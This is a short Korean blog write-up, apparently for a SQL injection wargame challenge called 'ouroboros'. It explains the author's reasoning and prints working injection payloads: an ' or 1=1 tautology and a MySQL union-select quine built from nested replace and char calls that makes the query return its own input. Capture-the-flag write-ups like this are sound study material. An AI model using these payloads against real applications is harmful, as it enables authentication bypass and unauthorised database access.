newbie22 2020. 11. 4. 17:49

< ouroboros 문제 모습 >

필터링을 보았을 때 아주 간단해 보입니다.

 

?pw=' or 1=1--+- 통하여 쉽게 pw 값을 구하지 않을까 싶었습니다.

 

이 처럼 아무것도 출력되지 않는 것을 확인할 수 있습니다. 이를 통하여 빈 table이라고 판단하였습니다. 

 

따라서 해당 문제는 입력한 pw의 값과 쿼리의 실행결과가 같야 합니다. 

 

떠오르는 것은 quine이었습니다. (quine : 입력 없이 자기자신의 소스 코드를 출력하는 프로그램을 의미합니다.)

 

information_schema db의 processlsit table의 infor 칼럼을 사용하면 될 거라고 생각하였지만 _가 필터링되어있습니다.

 

따라서 mysql quine을 검색하니 substr함수를 이용하여 quine을 만들 수 있었습니다.

 

페이로드 : ' union select replace(replace('^ union select replace(replace(^*^,char(94),char(39)),char(42),^*^)%23',char(94),char(39)),char(42),'^ union select replace(replace(^*^,char(94),char(39)),char(42),^*^)%23')%23

 

< 클리어 >

 

추가로 : ouroboros를 검색하면 자기 꼬리를 물고 있는 뱀의 사진이 나옵니다. 문제랑 문제 이름이 아주 잘 어울리나고 생각합니다. ㅎㅎ